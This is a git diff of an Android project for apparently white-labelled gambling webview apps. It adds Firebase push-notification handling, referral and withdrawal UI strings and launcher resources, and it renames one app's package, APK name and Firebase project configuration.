+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo1)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo1)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+
+ private void showNotification(String title, String body) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.putExtra("message", body);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
+ if (messageInfo != null) {
+ body = messageInfo.getContent();
+ }
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo1)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo1)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+}
diff --git a/singbet8/src/main/java/com/xyz/singbet8/WebApplication.java b/singbet8/src/main/java/com/xyz/singbet8/WebApplication.java
new file mode 100644
index 0000000..dec55ac
--- /dev/null
+++ b/singbet8/src/main/java/com/xyz/singbet8/WebApplication.java
@@ -0,0 +1,16 @@
+package com.xyz.singbet8;
+
+import android.app.Application;
+import android.content.Context;
+
+public class WebApplication extends Application {
+
+
+ public static Context application;
+ @Override
+ public void onCreate() {
+ super.onCreate();
+// 设置开启优化方案
+ application = this;
+ }
+}
diff --git a/singbet8/src/main/res/drawable/big_bg.xml b/singbet8/src/main/res/drawable/big_bg.xml
new file mode 100644
index 0000000..2e41ced
--- /dev/null
+++ b/singbet8/src/main/res/drawable/big_bg.xml
@@ -0,0 +1,8 @@
+
+
+
+
\ No newline at end of file
diff --git a/singbet8/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/singbet8/src/main/res/mipmap-anydpi-v26/ic_launcher.xml
new file mode 100644
index 0000000..036d09b
--- /dev/null
+++ b/singbet8/src/main/res/mipmap-anydpi-v26/ic_launcher.xml
@@ -0,0 +1,5 @@
+
+
+
+
+
\ No newline at end of file
diff --git a/singbet8/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/singbet8/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml
new file mode 100644
index 0000000..036d09b
--- /dev/null
+++ b/singbet8/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml
@@ -0,0 +1,5 @@
+
+
+
+
+
\ No newline at end of file
diff --git a/singbet8/src/main/res/mipmap-hdpi/ic_launcher.webp b/singbet8/src/main/res/mipmap-hdpi/ic_launcher.webp
new file mode 100644
index 0000000..14cf80f
Binary files /dev/null and b/singbet8/src/main/res/mipmap-hdpi/ic_launcher.webp differ
diff --git a/singbet8/src/main/res/mipmap-hdpi/ic_launcher_foreground.webp b/singbet8/src/main/res/mipmap-hdpi/ic_launcher_foreground.webp
new file mode 100644
index 0000000..9ffce57
Binary files /dev/null and b/singbet8/src/main/res/mipmap-hdpi/ic_launcher_foreground.webp differ
diff --git a/singbet8/src/main/res/mipmap-hdpi/ic_launcher_round.webp b/singbet8/src/main/res/mipmap-hdpi/ic_launcher_round.webp
new file mode 100644
index 0000000..5c6c19c
Binary files /dev/null and b/singbet8/src/main/res/mipmap-hdpi/ic_launcher_round.webp differ
diff --git a/singbet8/src/main/res/mipmap-mdpi/ic_launcher.webp b/singbet8/src/main/res/mipmap-mdpi/ic_launcher.webp
new file mode 100644
index 0000000..a731ded
Binary files /dev/null and b/singbet8/src/main/res/mipmap-mdpi/ic_launcher.webp differ
diff --git a/singbet8/src/main/res/mipmap-mdpi/ic_launcher_foreground.webp b/singbet8/src/main/res/mipmap-mdpi/ic_launcher_foreground.webp
new file mode 100644
index 0000000..4bb54c0
Binary files /dev/null and b/singbet8/src/main/res/mipmap-mdpi/ic_launcher_foreground.webp differ
diff --git a/singbet8/src/main/res/mipmap-mdpi/ic_launcher_round.webp b/singbet8/src/main/res/mipmap-mdpi/ic_launcher_round.webp
new file mode 100644
index 0000000..89f8d30
Binary files /dev/null and b/singbet8/src/main/res/mipmap-mdpi/ic_launcher_round.webp differ
diff --git a/singbet8/src/main/res/mipmap-xhdpi/ic_launcher.webp b/singbet8/src/main/res/mipmap-xhdpi/ic_launcher.webp
new file mode 100644
index 0000000..56ed50a
Binary files /dev/null and b/singbet8/src/main/res/mipmap-xhdpi/ic_launcher.webp differ
diff --git a/singbet8/src/main/res/mipmap-xhdpi/ic_launcher_foreground.webp b/singbet8/src/main/res/mipmap-xhdpi/ic_launcher_foreground.webp
new file mode 100644
index 0000000..6b65407
Binary files /dev/null and b/singbet8/src/main/res/mipmap-xhdpi/ic_launcher_foreground.webp differ
diff --git a/singbet8/src/main/res/mipmap-xhdpi/ic_launcher_round.webp b/singbet8/src/main/res/mipmap-xhdpi/ic_launcher_round.webp
new file mode 100644
index 0000000..75c8218
Binary files /dev/null and b/singbet8/src/main/res/mipmap-xhdpi/ic_launcher_round.webp differ
diff --git a/singbet8/src/main/res/mipmap-xxhdpi/app_logo.png b/singbet8/src/main/res/mipmap-xxhdpi/app_logo.png
new file mode 100644
index 0000000..82a9e11
Binary files /dev/null and b/singbet8/src/main/res/mipmap-xxhdpi/app_logo.png differ
diff --git a/singbet8/src/main/res/mipmap-xxhdpi/app_logo1.png b/singbet8/src/main/res/mipmap-xxhdpi/app_logo1.png
new file mode 100644
index 0000000..82d1590
Binary files /dev/null and b/singbet8/src/main/res/mipmap-xxhdpi/app_logo1.png differ
diff --git a/singbet8/src/main/res/mipmap-xxhdpi/ic_launcher.webp b/singbet8/src/main/res/mipmap-xxhdpi/ic_launcher.webp
new file mode 100644
index 0000000..5d5caee
Binary files /dev/null and b/singbet8/src/main/res/mipmap-xxhdpi/ic_launcher.webp differ
diff --git a/singbet8/src/main/res/mipmap-xxhdpi/ic_launcher_foreground.webp b/singbet8/src/main/res/mipmap-xxhdpi/ic_launcher_foreground.webp
new file mode 100644
index 0000000..d179c99
Binary files /dev/null and b/singbet8/src/main/res/mipmap-xxhdpi/ic_launcher_foreground.webp differ
diff --git a/singbet8/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp b/singbet8/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp
new file mode 100644
index 0000000..f14ca1d
Binary files /dev/null and b/singbet8/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp differ
diff --git a/singbet8/src/main/res/mipmap-xxxhdpi/ic_launcher.webp b/singbet8/src/main/res/mipmap-xxxhdpi/ic_launcher.webp
new file mode 100644
index 0000000..c7449fa
Binary files /dev/null and b/singbet8/src/main/res/mipmap-xxxhdpi/ic_launcher.webp differ
diff --git a/singbet8/src/main/res/mipmap-xxxhdpi/ic_launcher_foreground.webp b/singbet8/src/main/res/mipmap-xxxhdpi/ic_launcher_foreground.webp
new file mode 100644
index 0000000..93eb59e
Binary files /dev/null and b/singbet8/src/main/res/mipmap-xxxhdpi/ic_launcher_foreground.webp differ
diff --git a/singbet8/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp b/singbet8/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp
new file mode 100644
index 0000000..734a936
Binary files /dev/null and b/singbet8/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp differ
diff --git a/singbet8/src/main/res/values-en/strings.xml b/singbet8/src/main/res/values-en/strings.xml
new file mode 100644
index 0000000..7a00b5e
--- /dev/null
+++ b/singbet8/src/main/res/values-en/strings.xml
@@ -0,0 +1,52 @@
+
+
+ Please Set Your Password
+ Cancel
+ Sure
+ New Version Update
+ Next Update
+ Update Immediately
+ Click to close notification
+ Click to re-download
+ Download failed
+ Click to install
+ Download completed
+ Downloading...
+ Version update
+ Downloading game
+ Getting download data...
+ Version update
+ Downloading game
+ Need to turn on mobile phone notification permission
+ Exit
+ Setting
+ Tip
+ Please enter the invitation code
+ My invitation code:
+ Superior invitation code:
+ Total number of invites:
+ App download link:
+ Share
+ Check Invitation Records
+ Invitation Records
+ Total number of invitees: %d
+ No Data
+ Withdrawal Record
+ Withdrawal Application
+ Edit Bank Card Information
+ 60
+ Name:
+ Please enter the bank card name
+ Bank card account:
+ Please enter the bank card account
+ Country:
+ Please select a country
+ Bank Name:
+ Please select a bank name
+ Note: Please enter the country code before selecting the bank name!
+ Balance: %s
+ Total Earnings: %s
+ Amount: %s
+ Please enter the withdrawal amount
+ Withdrawal application has been submitted
+
\ No newline at end of file
diff --git a/singbet8/src/main/res/values-night/themes.xml b/singbet8/src/main/res/values-night/themes.xml
new file mode 100644
index 0000000..3475a91
--- /dev/null
+++ b/singbet8/src/main/res/values-night/themes.xml
@@ -0,0 +1,70 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/singbet8/src/main/res/values/app_config.xml b/singbet8/src/main/res/values/app_config.xml
new file mode 100644
index 0000000..9e52b40
--- /dev/null
+++ b/singbet8/src/main/res/values/app_config.xml
@@ -0,0 +1,20 @@
+
+
+
+
+ SINGBET8
+
+ 240
+
+ https://singbet8.com/
+
+ 0
+
+ 0
+
+ 0
+
+ #000000
+
+ #00c0ff
+
\ No newline at end of file
diff --git a/singbet8/src/main/res/values/colors.xml b/singbet8/src/main/res/values/colors.xml
new file mode 100644
index 0000000..a4e1222
--- /dev/null
+++ b/singbet8/src/main/res/values/colors.xml
@@ -0,0 +1,16 @@
+
+
+ #FFFFFF
+ #FFFFFF
+ #FFFFFF
+ #FF03DAC5
+ #FF018786
+ #FF000000
+ #FFFFFFFF
+ #EF4723
+ #1251a1
+ #2C2C2E
+ #FFA722
+ #434343
+ #BCBCBC
+
\ No newline at end of file
diff --git a/singbet8/src/main/res/values/ic_launcher_background.xml b/singbet8/src/main/res/values/ic_launcher_background.xml
new file mode 100644
index 0000000..32753c1
--- /dev/null
+++ b/singbet8/src/main/res/values/ic_launcher_background.xml
@@ -0,0 +1,4 @@
+
+
+ #FCFBF7
+
\ No newline at end of file
diff --git a/singbet8/src/main/res/values/strings.xml b/singbet8/src/main/res/values/strings.xml
new file mode 100644
index 0000000..0ffb42d
--- /dev/null
+++ b/singbet8/src/main/res/values/strings.xml
@@ -0,0 +1,53 @@
+
+ 请输入6位密码
+ 取消
+ 确定
+ 版本更新
+ 下次更新
+ 立即更新
+ 点击关闭通知
+ 点击重新下载
+ 下载失败
+ 点击安装
+ 下载完成
+ 正在下载…
+ 版本更新
+ 下载游戏中
+ 版本更新
+ 下载游戏中
+ 正在获取下载数据…
+ 需要打开手机通知权限
+ 退出
+ 设置
+ 提示
+ 请输入邀请码
+ 我的邀请码:
+ 上级邀请码:
+ 总邀请人数:
+ 邀请您下载:
+ 分享
+ 查看邀请记录
+ 邀请记录
+ 总邀请人数: %d
+ 暂无数据
+ 提现记录
+ 提现申请
+ 编辑银行卡信息
+ 86
+ 持卡人姓名:
+ 请输入持卡人姓名
+ 国家地区:
+ 请选择国家地区
+ 开户行名称:
+ 请选择开户行名称
+ 银行户口:
+ 请输入银行卡户口
+ (注:请先输入国家区号再选择开户行名称!)
+ 余额: %s
+ 总收益: %s
+ 金额: %s
+ 请输入提现金额
+ 提现申请已提交
+
+
+
\ No newline at end of file
diff --git a/singbet8/src/main/res/values/themes.xml b/singbet8/src/main/res/values/themes.xml
new file mode 100644
index 0000000..8947801
--- /dev/null
+++ b/singbet8/src/main/res/values/themes.xml
@@ -0,0 +1,90 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/singbet8/src/main/res/xml/app_updater_paths.xml b/singbet8/src/main/res/xml/app_updater_paths.xml
new file mode 100644
index 0000000..1254450
--- /dev/null
+++ b/singbet8/src/main/res/xml/app_updater_paths.xml
@@ -0,0 +1,10 @@
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/singbet8/src/main/res/xml/network_security_config.xml b/singbet8/src/main/res/xml/network_security_config.xml
new file mode 100644
index 0000000..dca93c0
--- /dev/null
+++ b/singbet8/src/main/res/xml/network_security_config.xml
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/singbet8/src/main/res/xml/provider_paths.xml b/singbet8/src/main/res/xml/provider_paths.xml
new file mode 100644
index 0000000..c9a897a
--- /dev/null
+++ b/singbet8/src/main/res/xml/provider_paths.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/singbet8/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/singbet8/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
new file mode 100644
index 0000000..3259554
--- /dev/null
+++ b/singbet8/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java
@@ -0,0 +1,35 @@
+package Tptogiar.calculcator;
+
+import org.junit.Test;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import static org.junit.Assert.*;
+
+/**
+ * Example local unit test, which will execute on the development machine (host).
+ *
+ * @see Testing documentation
+ */
+public class ExampleUnitTest {
+ @Test
+ public void addition_isCorrect() {
+ assertEquals(4, 2 + 2);
+ }
+
+ @Test
+ public void TestPattern(){
+//
+ Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$");
+ String a="+45.5";
+ boolean matches = compile.matcher(a).matches();
+ System.out.println(matches);
+ String result = compile.matcher(a).replaceAll("");
+ System.out.println(result);
+
+
+ }
+
+
+}
\ No newline at end of file
diff --git a/slotkaki/build.gradle b/slotkaki/build.gradle
index ba657ed..494e827 100644
--- a/slotkaki/build.gradle
+++ b/slotkaki/build.gradle
@@ -7,7 +7,7 @@ android {
compileSdkVersion 31
buildToolsVersion "30.0.3"
defaultConfig {
- applicationId "com.xyz.slotkaki33"
+ applicationId "com.xyz.slotkkk"
minSdkVersion 24
targetSdkVersion 31
versionCode rootProject.ext.versionCode
@@ -56,7 +56,7 @@ android {
applicationVariants.all { variant ->
variant.outputs.all {
- def appName = "slotkaki33"
+ def appName = "llljdkgjdfkgfjhghfdjrurrer"
def outputDir = new File(rootProject.ext.outputPath)
// 创建输出目录
outputDir.mkdirs()
diff --git a/slotkaki/google-services.json b/slotkaki/google-services.json
index b0f9a8c..8020a2e 100644
--- a/slotkaki/google-services.json
+++ b/slotkaki/google-services.json
@@ -1,21 +1,21 @@
{
"project_info": {
- "project_number": "886120480104",
- "project_id": "slotkaki-cf43e",
- "storage_bucket": "slotkaki-cf43e.firebasestorage.app"
+ "project_number": "1002583725859",
+ "project_id": "kkkstkkk",
+ "storage_bucket": "kkkstkkk.firebasestorage.app"
},
"client": [
{
"client_info": {
- "mobilesdk_app_id": "1:886120480104:android:b563d46c96f98430866add",
+ "mobilesdk_app_id": "1:1002583725859:android:522aa1cc8c3227c0c61e96",
"android_client_info": {
- "package_name": "com.xyz.slotkaki33"
+ "package_name": "com.xyz.slotkkk"
}
},
"oauth_client": [],
"api_key": [
{
- "current_key": "AIzaSyD2Il3ICLSGoLM7abIxk8rA1KSCOZ7NRnA"
+ "current_key": "AIzaSyDjmka3uZLut5I6awb8JW8ZviHjsCZ-Hm4"
}
],
"services": {
diff --git a/slotkaki/src/main/AndroidManifest.xml b/slotkaki/src/main/AndroidManifest.xml
index 011d489..1277839 100644
--- a/slotkaki/src/main/AndroidManifest.xml
+++ b/slotkaki/src/main/AndroidManifest.xml
@@ -1,6 +1,6 @@
+ package="com.xyz.slotkkk">
serviceData = remoteMessage.getData(); //后台推送数据
- if (serviceData != null && serviceData.containsKey("message")) {
- String value = serviceData.get("message");
- Gson gson = new Gson();
- MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
- showNotification(messageInfo);
- } else {
- //收到通知 创建notify
- if (remoteMessage.getNotification() != null) {
- showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
- }
- }
- }
-
- private void showNotification(MessageInfo messageInfo) {
- Intent notifyIntent = new Intent(this, MainActivity.class);
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
- ComponentName launchComponent = null;
- launchComponent = getApplication()
- .getPackageManager()
- .getLaunchIntentForPackage(getApplication().getPackageName())
- .getComponent();
- notifyIntent.setComponent(launchComponent);
- }
- notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
- notifyIntent.setAction(Intent.ACTION_VIEW);
- notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
- notifyIntent.putExtra("message", messageInfo);
- PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
- NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
- NotificationChannel channelwinway = null;
- NotificationCompat.Builder notificationBuilder = null;
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
- channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
- channelwinway.enableLights(true);
- channelwinway.enableVibration(true);
- notificationManager.createNotificationChannel(channelwinway);
- notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
- .setSmallIcon(R.mipmap.app_logo)
- .setContentTitle(messageInfo.getTitle())
- .setContentText(messageInfo.getContent())
- .setAutoCancel(true)
- .setContentIntent(pendingIntent);
- } else {
- notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
- .setSmallIcon(R.mipmap.app_logo)
- .setContentTitle(messageInfo.getTitle())
- .setContentText(messageInfo.getContent())
- .setAutoCancel(true)
- .setContentIntent(pendingIntent);
- }
- notificationManager.notify(0, notificationBuilder.build());
- }
-
- private void showNotification(String title, String body) {
- Intent notifyIntent = new Intent(this, MainActivity.class);
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
- ComponentName launchComponent = null;
- launchComponent = getApplication()
- .getPackageManager()
- .getLaunchIntentForPackage(getApplication().getPackageName())
- .getComponent();
- notifyIntent.setComponent(launchComponent);
- }
- notifyIntent.putExtra("message", body);
- notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
- notifyIntent.setAction(Intent.ACTION_VIEW);
- notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
- PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
- NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
- NotificationChannel channelwinway = null;
- NotificationCompat.Builder notificationBuilder = null;
- MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
- if (messageInfo != null) {
- body = messageInfo.getContent();
- }
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
- channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
- channelwinway.enableLights(true);
- channelwinway.enableVibration(true);
- notificationManager.createNotificationChannel(channelwinway);
- notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
- .setSmallIcon(R.mipmap.app_logo)
- .setContentTitle(title)
- .setContentText(body)
- .setAutoCancel(true)
- .setContentIntent(pendingIntent);
- } else {
- notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
- .setSmallIcon(R.mipmap.app_logo)
- .setContentTitle(title)
- .setContentText(body)
- .setAutoCancel(true)
- .setContentIntent(pendingIntent);
- }
- notificationManager.notify(0, notificationBuilder.build());
- }
-}
diff --git a/slotkaki/src/main/java/com/xyz/slotkaki33/WebApplication.java b/slotkaki/src/main/java/com/xyz/slotkaki33/WebApplication.java
deleted file mode 100644
index f29da36..0000000
--- a/slotkaki/src/main/java/com/xyz/slotkaki33/WebApplication.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.xyz.slotkaki33;
-
-import android.app.Application;
-import android.content.Context;
-import com.tencent.smtt.export.external.TbsCoreSettings;
-import com.tencent.smtt.sdk.QbSdk;
-import java.util.HashMap;
-
-public class WebApplication extends Application {
-
-
- public static Context application;
- @Override
- public void onCreate() {
- super.onCreate();
-// 设置开启优化方案
- application = this;
- HashMap map = new HashMap();
- map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true);
- map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true);
- QbSdk.initTbsSettings(map);
- QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() {
- @Override
- public void onCoreInitFinished() {
-
- }
-
- @Override
- public void onViewInitFinished(boolean b) {
-
- }
- });
- QbSdk.setDownloadWithoutWifi(true);
- }
-}
diff --git a/slotkaki/src/main/java/com/xyz/slotkaki33/MainActivity.java b/slotkaki/src/main/java/com/xyz/slotkkk/MainActivity.java
similarity index 98%
rename from slotkaki/src/main/java/com/xyz/slotkaki33/MainActivity.java
rename to slotkaki/src/main/java/com/xyz/slotkkk/MainActivity.java
index 475976f..044d637 100644
--- a/slotkaki/src/main/java/com/xyz/slotkaki33/MainActivity.java
+++ b/slotkaki/src/main/java/com/xyz/slotkkk/MainActivity.java
@@ -1,4 +1,4 @@
-package com.xyz.slotkaki33;
+package com.xyz.slotkkk;
import android.content.pm.PackageInfo;
diff --git a/slotkaki/src/main/java/com/xyz/slotkkk/MyFirebaseMessageingService.java b/slotkaki/src/main/java/com/xyz/slotkkk/MyFirebaseMessageingService.java
new file mode 100644
index 0000000..e90849d
--- /dev/null
+++ b/slotkaki/src/main/java/com/xyz/slotkkk/MyFirebaseMessageingService.java
@@ -0,0 +1,125 @@
+package com.xyz.slotkkk;
+
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+import androidx.annotation.NonNull;
+import androidx.core.app.NotificationCompat;
+import com.google.firebase.messaging.FirebaseMessagingService;
+import com.google.firebase.messaging.RemoteMessage;
+import com.google.gson.Gson;
+import com.web.base.GsonUtils;
+import com.web.base.MessageInfo;
+import java.util.Map;
+import java.util.Random;
+
+public class MyFirebaseMessageingService extends FirebaseMessagingService {
+
+ public MyFirebaseMessageingService() {
+ }
+
+ @Override
+ public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
+ super.onMessageReceived(remoteMessage);
+ Map serviceData = remoteMessage.getData(); //后台推送数据
+ if (serviceData != null && serviceData.containsKey("message")) {
+ String value = serviceData.get("message");
+ Gson gson = new Gson();
+ MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
+ showNotification(messageInfo);
+ } else {
+ //收到通知 创建notify
+ if (remoteMessage.getNotification() != null) {
+ showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
+ }
+ }
+ }
+
+ private void showNotification(MessageInfo messageInfo) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ notifyIntent.putExtra("message", messageInfo);
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+
+ private void showNotification(String title, String body) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.putExtra("message", body);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
+ if (messageInfo != null) {
+ body = messageInfo.getContent();
+ }
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+}
diff --git a/kangaroo/src/main/java/com/xyz/oorag23/WebApplication.java b/slotkaki/src/main/java/com/xyz/slotkkk/WebApplication.java
similarity index 97%
rename from kangaroo/src/main/java/com/xyz/oorag23/WebApplication.java
rename to slotkaki/src/main/java/com/xyz/slotkkk/WebApplication.java
index 33b3cea..25f4a61 100644
--- a/kangaroo/src/main/java/com/xyz/oorag23/WebApplication.java
+++ b/slotkaki/src/main/java/com/xyz/slotkkk/WebApplication.java
@@ -1,4 +1,4 @@
-package com.xyz.oorag23;
+package com.xyz.slotkkk;
import android.app.Application;
import android.content.Context;
